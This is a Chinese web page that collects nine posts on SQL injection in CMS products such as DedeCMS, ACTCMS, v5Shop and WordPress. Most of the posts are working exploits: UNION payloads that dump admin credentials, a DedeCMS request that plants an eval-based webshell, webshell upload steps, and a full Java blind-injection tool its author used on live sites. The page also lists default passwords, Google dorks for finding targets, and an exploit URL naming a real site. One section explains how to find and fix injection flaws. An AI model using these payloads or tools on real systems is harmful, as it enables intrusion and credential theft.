浅析注入漏洞的查与补

| 收藏本文 下载本文 作者:mct

下面是小编给大家带来的浅析注入漏洞的查与补(共含9篇),以供大家参考,我们一起来看看吧!同时,但愿您也能像本文投稿人“mct”一样,积极向本站投稿分享好文章。

浅析注入漏洞的查与补

篇1:WordPresseventid注入漏洞

===[ Exploit ]===

www.WordPress.com/?event_id=[Sql]

www.WordPress.com/Path/?event_id=[Sql]

Exploit:

null+and+1=2+union+select 1,concat(user_login,0x3a,user_pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+wp_users

篇2:dedecms注入漏洞

dedecms5.3和5.5系列版本存在重大注入漏洞,

作者:张恒

假设域名是:www.abc.com攻击步骤如下:

1.访问网址:

www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>

2.访问 www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了.

int(3) Error: Illegal double ’1024e1024’ value found during parsing

Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>

3.执行压缩包里的文件test.html,注意form中action 的地址是:

按确定后的看到第2步骤的信息表示文件木马上传成功.

木马网址:www.abc.com/data/a.php

密码:888

漏洞分析:

利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞.

解决方案:

打开文件include/dedesql.class.php

找到代码

@fwrite($fp, ’<’’.’?php’.“/*{$savemsg}*/?”.“>”);

替换代码

@fwrite($fp, ’<’.’?php’.“exit;/*{$savemsg}*/?”.“>”);

清空 data/mysql_error_trace.php 文件内容

篇3:注入漏洞的查找与修补

一、注入点的查找

当我们想要测试某个站点时,一般会架上注入工具对其狂轰乱炸,这样做虽然有时能找到注入点,但还是有些盲目,我个人的看法是:如果有源码的话,就从源码入手,在源码中查找注入点,对于源码,有些朋友可能觉得很难,其实源码并不神秘,它也是有一定的语法规则的,看一套优秀的源码就像是在欣赏一部精美的电影,只要我们坚持每天看一些优秀源码,再加上百度这个老师的指点,用不了多久,源码的神秘面纱就会被你揭去。闲话少说,下面我们就开始查找注入点,目标有两个:一是Request,二是SQL语句。

说到Request,这个是ASP程序中的一个内建对象,怎么?不懂?那就跟我先来恶补一下吧!它是用来获取客户端信息的,有五种方法,而会出现注入点的一般有以下三种:

1、Request.QueryString:取得客户端提交的信息。当Form以Get方法提交信息,或是直接在URL中提交变量值时,在服务器端接收数据时采用的就是这种方法。

2、Request.Form:同样也是取得客户端提交的信息,但它接收的是Form以Post方法提交的信息。

3、Request.Cookies:取得客户端浏览器的Cookies信息。Cookies就是小甜饼,指的是一些私人信息,如用户名、密码之类的信息。

有些程序员为了减少错误,对于前两种信息的获取,会采用Request来取得客户端提交的信息,这种方法,虽然可以通吃Request.QueryString和Request.Form的提交信息,但如果过滤的不好,就会被漏洞反咬一口。

了解过一些Request的知识后,下面就在“查找”中输入“request”进行搜索,OK!当找到上面所列的三项Request语句后,再来看一下程序对这些Request语句是否做了过滤,比如ID值是否用INT过滤,例:id=int(request(“id”));字符串值是否用replace 或instr()等函数进行过滤单引号或一些特殊字符,例:username=replace(request(“username”),“'”, “”);或者程序是否采用本身的一些过滤函数来过滤这些提交值。从查找到这句request参数起,一直到SQL语句中使用这个提交值至,如果中间没有上面的层层关卡,那么,一个注入点,基本上就算是出现了。

说到SQL语句,不能不提到以下几个常用的语句:

1、查询语句:Select [(<字段名1>[,<字段名2>, ...])] FROM <表名jmdcw>[Where <条件表达式>[AND|OR <条件表达式>...]

2、更新语句:Update <表名jmdcw>SET 列名1 = 常量表达式1[,列名2 = 常量表达式2 ...] Where <条件表达式>[AND|OR <条件表达式>...]

3、删除语句:Delete FROM〈表名JMDCW〉[Where <条件表达式>[AND|OR <条件表达式>...]]

这里不对SQL语句做介绍了。在上面列出的SQL语句中,注入点出现频率最高的是Select语句,而注入参数的出没地通常都是在Where之后的条件中。当一个没有过滤的Request语句进入SQL语句后,就是注入大显身手的时候了,不过,在进行注入之前还要先看一下该参数是直接引入,还是用单引号引入的,另外,该参数是否还应用于其他SQL语句中,然后,根据不同的信息,选择不同的处理方式,或直接暴破,或UNION查询,当然,如果存在注入点的程序使用的是SQL数据库,那就不单单是得到一些重要信息,甚至还可以增加管理员。

下面用“蚂蚁影院3.0”版注销用户(wantlogin.asp)中的一段源码来做一下介绍:

引用

<%

if request(“userid1”)“” then '

set rst=server.createobject(“adodb.recordset”)

sql=“select money,online from users where userid='”&request(“userid1”)&“' and password='”&md5(request(“pws”))&“'”

rst.open sql,conn,1,3

if rst.eof and rst.bof then

response.write“”

else

response.write“”

response.write“”

rst.close

set rst=nothing

conn.close

set conn=nothing

end if

end if

%>

在其流程中,首先判断取得的提交值userid1是否为空,不为空的话就进入SQL语句中,验证取得的用户名及密码是否和数据库内的用户名及密码一致,如果不一致,则弹出“用户名及密码错误”窗口,否则,就弹出“恢复成功”的窗口,

这也是一段典型的注入漏洞源码,并且,接收的方式还是使用的 request,这就给我们提交注入语句提供了最大的方便。如果我们在URL地址中提交如下字符:http: //127.0.0.1/wantlogin.asp?userid1=aa&pws=bb,因为没有aa这个用户,那么就会弹出错误窗口,而如果我们将aa换成如下字符:aa' or 1=1 or '1'='1,pws保持不变,这样提交的语句到了SQL语句中就成了如下语句:

select money,online from users where userid1='aa' or 1=1 or '1'='1' and password='md5(bb)',以往我们所见到的测试代码一般为“or 1=1”,而这里却多用了一个 or ,为什么要多用一个or呢?解释一下,在逻辑运算符中,and的优先级别高于or ,程序运行后会先运算后面的'1'='1' and password='md5(bb)',因为密码是随便输入的,所以and后的password值为假,而and前的'1'='1'虽然为真,但真and 假=假,所以,这个and的运算值为假,再来看or运算,因为前面的用户名也是不存在的,其值当然为假,如此一来,where后的逻辑运算就成了如下表达式:假or真or假,结果值还是为真,这样就会弹出“恢复成功”窗口,如果将其中的or 1=1 改为or 1=2,那逻辑表达式则成了:假or假or假,值当然也为假,弹出的就是“用户名或密码错误”的窗口。这样,根据弹出窗口的不同,我们就可以构造一些特殊字符,然后猜测出需要的数据了,比如查询管理员ID的语句,将or后的1=1更改为: 1=(Select top 1 id from admin),这里暂用admin表示管理员表名,如果存在ID为1的管理员,那么就会弹出“恢复成功”的窗口,否则,就证明管理员的ID不为1,那就要再用其他数字来测试。猜出管理员ID后,再把此段字符更改为猜测管理员名称长度的字符:5<(Select len(adminname) from admin where id=1),如为真,则证明长度大于5,否则长度小于或等于5。猜出长度后,再用asc()函数来猜测管理员的名称:90<(select asc(mid(adminname,1,1)) from admin where id=1),如此循环,就能暴破出管理员的名称及密码了。

上面提到的是Request.QueryString和Request.Form的注入方法,而Request.Cookies的注入方法则是要修改本地的Cookies值来实现的,推荐使用一些专门的Cookies修改工具,不过,用Cookies来注入相对而言,就麻烦了好多,但原理和前面的注入是一样的,这里就不介绍了。

二、注入点的修补

在上面着重讲了如何查找注入点及简单的利用方法,当我们知道了攻后,也就明白了如何守,攻和守之间虽然是对立的,但也是相互的。明白了什么地方存在注入点,再来修补也就容易多了。在前面查找注入点时,我也提到查看程序中是否对提交参数进行了过滤,每个程序对注入的过滤函数都不相同,我们在修补自已站点上的注入点时,可参照其他程序中的过滤函数,也可根据自已的需要,单独过滤一些敏感的字符。这里,还是以上面的那个例子来说一下如何修补注入点。在前面的 SQL语句中有这一句:userid='“&request(”userid1“)&”',这其中对提交来的参数是用单引号来引入的,而我们能成功注入也是在提交参数中加入了单引号来闭合其语句,这样,加入一个replace()函数对单引号进行过滤,修改后的语句为:userid= '“&replace(request(”userid1“),”'“,”“)&”',这样用户再提交带有单引号的字符时, Replace()就会将单引号过滤为空,如此一来,提交的那些特殊字符也就失去了其意义。

当然,我们还可以在userid1进入SQL语句之前,对其长度进行一下判断,如果超过规定的长度,就弹出错误,中止页面执行并返回到指定的页面。当然还可以借鉴一些优秀源码中的过滤方法。总之,注入漏洞是可以避免的,即使出现了注入点,只要我们分析出其出现的原因,也就能很容易地将其修补了!

篇4:ACTCMS注入漏洞漏洞预警

一款ASP的CMS程序,用的人并不是太多。

GOOGLE一下关键字“Copyright @ www.actcms.com” ,不是太多。

今天看了一下代码。

基本上所有的参数全都被过滤掉了。。

不过投票那里出了点小问题。。

在/plus/vote/vote.asp页面。

代码如下:

ASP/Visual Basic代码

....

if request(“voted”).count=0 then

response.write “”

response.end

end if

for i=1 to request(“voted”).count

actcms.actexe(“Update vote_act set VoteNum=VoteNum+1 where id=”&request(“voted”)(i))

next

....

response.Redirect “index.asp?id=”&id&“”

id直接从request里面取的,不过因为前面是update ,再加上后面的response.redirect,利用起来比较麻烦。而且这是一个一般工具无法识别的注入点。因为无论我们构造什么语句在后面,它都会跳到index.asp页面。

唯一有变化的就是当我们构造的注入条件正确的时候,票数会增加。 手工利用起来相当的麻烦,试了现在的那些注入工具明小子,pangolin之类的也不能注入,所以我自己动手写了一个简单的程序 ,因为只会JAVA,所以就用JAVA写了。。写的比较粗糙。用的穷举法,这样写着比较方便。速度慢就慢吧。

代码如下:

Java代码

import java.io.BufferedReader;

import java.io.InputStreamReader;

import java.net.URL;

import java.net.URLConnection;

import java.util.regex.Matcher;

import java.util.regex.Pattern;

public class ActCmsGetPwd {

public static char[] arr = { '0', '1', '2', '3', '4', '5', '6', '7', '8',

'9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',

'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y',

'z' };

public static String siteurl = “”;

public static int voteid = 1;

public static String charset = “”;

public static void main(String[] args) throws Exception {

if (args.length < 4) {

System.out

.println(“usage:java ActCmsGetPwd    ”);

System.out.println(“siteurl:目标站点”);

System.out.println(“voteid:投票id”);

System.out

.println(“totalVoteNum:当前的投票人数,请自行查看plus/vote/index.asp?id=”);

System.out.println(“charset:目标站点所用的ACTCMS的字符集,请自行查看网页源代码”);

System.out.println(“eg:java ActCmsGetPwd www.abc.com/ 1 15 gb2312”);

return;

}

siteurl = args[0];

voteid = Integer.parseInt(args[1]);

int preVoteNum = Integer.parseInt(args[2]);

charset = args[3];

System.out.println(“Code by Ninty , QQ 3191864”);

System.out.print(“password is :”);

for (int i = 1; i <= 16; i++) {

System.out.print(send(i, 0, preVoteNum));

preVoteNum++;

}

System.out.println(“\nDone!”);

}

public static char send(int a, int b, int preVoteNum) throws Exception {

String sql = “%20and%20(select%20top%201%20mid(password,” + a

+ “,1)%20from%20admin_act%20where%20supertf%20=1)%20=%20'” + arr[b] + “'”;

URL u = new URL(siteurl

+ “/Plus/vote/vote.asp?dopost=send&id=”+voteid+“&ismore=0&voted=3” + sql);

URLConnection conn = u.openConnection();

BufferedReader reader = new BufferedReader(new InputStreamReader(conn

.getInputStream(),charset));

String str = reader.readLine();

while (str != null) {

if (str.indexOf(“ 投票人数:”) != -1) {

break;

}

str = reader.readLine();

}

reader.close();

if (!isRight(str, preVoteNum)) {

return send(a, ++b, preVoteNum);

} else {

return arr[b];

}

}

public static boolean isRight(String str, int preVoteNum) {

if (str == null) {

System.out.println(“无法读取!”);

System.exit(0);

}

Pattern pat = Pattern.compile(“人数:(\\d+)”);

Matcher mat = pat.matcher(str);

if (mat.find()) {

int num = Integer.parseInt(mat.group(1));

if (num != preVoteNum) {

return true;

}

}

return false;

}

}

下面是已经编译好的 class文件,编译环境JDK6,

直接运行就好。

actcmsgetpwd.class

在网上找了几个站测试了一下,都可以得到超级管理员的密码,不过官网好像不存在这个漏洞。

篇5:v5Shop注入漏洞及修复

/commond.aspx?id=1869

没办法union,只能让它暴错了

暴管理员用户名:/commond.aspx?id=1869 and 1=(select top 1 [name] from web_admin)--

暴管理员密 码:/commond.aspx?id=1869 and 1=(select top 1 [pass] from web_admin)--

过滤了单引号.只能把字符串转化成16进制的了

更新管理员密码:update web_admin set

pass=0x310046004100450037004200450041004300460035003600330041003200430042

004400450037004400450041003600340042003700430037004300

weblogin/System_Config_Operate.aspx

后台上传水印.可以直接上传大马.

拿webshell

切记.千万不要传ASPX的马......不然不会成功的.

你可以先传ASP的马..再传ASPX马.

马的路径为:uploadFile/Picture/木马.asp

关键字:services.aspxid=

inurl:scoreindex.aspx

默认后台地址:weblogin/Login.aspx

/weblogin/index.aspx

复制这段代码 域名+代码

cart.aspx?act=buy&id=1 and (Select Top 1 char(124)%2BisNull(cast([Name] as varchar(8000)),char(32))%2Bchar(124)%2BisNull(cast([Pass] as varchar(8000)),char(32))%2Bchar(124) From (Select Top 4 [Name],[Pass] From [Web_Admin] Where 1=1 Order by [Name],[Pass]) T Order by [Name] desc,[Pass] desc)>0 --

更新管理员密码:update web_admin setpass=0x310042004600410045003700420045004100430046003500360032003300410032004300420044

00450037004400450041003600340042003700430037004300

weblogin/System_Config_Operate.aspx

后台上传水印.可以直接上传大马.

后台拿webshell

切记.不要传ASPX的马......不然不会成功的.

你可以先传ASP的马..再传ASPX马.

马的路径为:uploadFile/Picture/木马.asp

文章作者:黑面小窝

修复:对照过滤

篇6:W78CMS SQL注入漏洞

W78企业ASP网站管理系统V1.1的SQL注入

程序发布日期:03月18日.

裸奔的系统,

1.shopmore.asp

set rs=server.createobject(“adodb.recordset”)

exec=“select * from [shop] where ssfl=”& request.QueryString(“id”) &“ order by id desc ”

rs.open exec,conn,1,1

if rs.eof then

response.Write “ 该分类暂无产品!”

else

rs.PageSize =20 '每页记录条数

iCount=rs.RecordCount '记录总数

iPageSize=rs.PageSize

maxpage=rs.PageCount

page=request(“page”)

if Not IsNumeric(page) or page=“” then

page=1

2.about.asp

exec=“select * from [about] where id=”& request.QueryString(“id”)

set rs=server.createobject(“adodb.recordset”)

rs.open exec,conn,1,1

3.search_news.asp

dim title

title=request.form(“form_news”)

set rs=conn.execute(“select * from [news] where title like '%”&title&“%'”)

if title=“” then

response.write (“”)

end if

if rs.eof then

response.write (“”)

还有其他的页面,

4.此系统的在线编辑登录页面为admin/eWebEditor/admin/login.asp

默认user:admin password:198625

不能进的还可以试试

后台默认密码为86779533 abc123这两个

试试数据库默认地址为/data/%23sze7xiaohu.mdb

exp:www.voicetune.com/about.asp?id=2%20and%201=2%20union%20select%201,admin,3,password,5,6%20from%20admin

www.voicetune.com/ShopMore.asp?id=13%20and%201=2%20union%20select%201,2,admin%2bpassword,4,5,6,7,8,9%20from%20admin

搜索型注入:%' and 1=2 union select 1,admin,3,4,5,6,password,8,9,10 from admin where '%'='

Google:inurl:ShopMore.asp?id

篇7:WordPress 3.1.3 注入漏洞漏洞预警

第一个:

get_terms过滤器文件中声明taxonomy.php 没有正确验证用户输入,允许攻击者构建任意sql命令,可用于盲注,

以下网址可用于执行SQL盲注攻击

[SQL injection] sql注入

localhost/wp-admin/edit-tags.php?taxonomy=link_category&orderby=[SQL

injection]&order=[SQL injection]

localhost/wp-admin/edit-tags.php?taxonomy=post_tag&orderby=[SQL

injection]&order=[SQL injection]

localhost/wp-admin/edit-tags.php?taxonomy=category&orderby=[SQL

injection]&order=[SQL injection]

第二个:

get_bookmarks()函数中声明的

bookmark.php文件没有正确验证用户输入

这个也可以盲注

以下网址可用于执行SQL盲注攻击

localhost/wp-admin/link-manager.php?orderby=[SQLinjection]&order=[SQL injection]

WordPress已经确认漏洞存在了

漏洞解决:

升级到3.1.4 或者 3.2-RC3版本,

篇8:iGiveTest 2.1.0注入漏洞漏洞预警

Version: <= 2.1.0

# Homepage: iGiveTest.com/

谷歌关键字: “Powered by iGiveTest”

随便注册一个帐号,

iGiveTest 2.1.0注入漏洞漏洞预警

然后暴管理员帐号和密码

www.xxxx.com/users.php?action=groups&order=-1&userids=-1) union select 1,concat(user_name,0x3a,user_passhash),user_email,user_firstname,user_lastname,6,7 from users,groups where (1

篇9:simplelog v1.3.1 注入漏洞漏洞预警

Simple-Log是基于PHP+MySQL的开源免费博客系统,系统轻巧运行速度飞快并具有很好的可扩展性.

程序下载down.cnzz.cn/Info/57357.aspx

----------------------------------------------

刚买到vps,打算装个blog系统,看到simple-log比较简洁,就下了最新的装了,,

simplelog v1.3.1 注入漏洞漏洞预警

谁知道,偶刚装好,到前台看到搜索就搜了下,没想到真有洞,urldecode()惹的祸。

试了下,真可以爆啊,无语了。

再上一张图吧,数据依然可以爆掉。

南方数据企业注入漏洞

shopxp pinglun.asp文件SQL注入漏洞分析漏洞预警

Thaiweb远程文件sql注入漏洞0day漏洞预警

ECSHOP的flow页注入利用方法&EXP漏洞预警

网趣网上购物系统时尚版10.3注入漏洞漏洞预警

WoDig社区程序两个页面过滤不严导致SQL注入漏洞

怎么查国考补录是否进面试

网络广告注入更多娱乐 与电视广告走向融合

udev漏洞提升

fckeditor漏洞利用

浅析注入漏洞的查与补(共9篇)

欢迎下载DOC格式的浅析注入漏洞的查与补,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式

相关文章

点击下载本文文档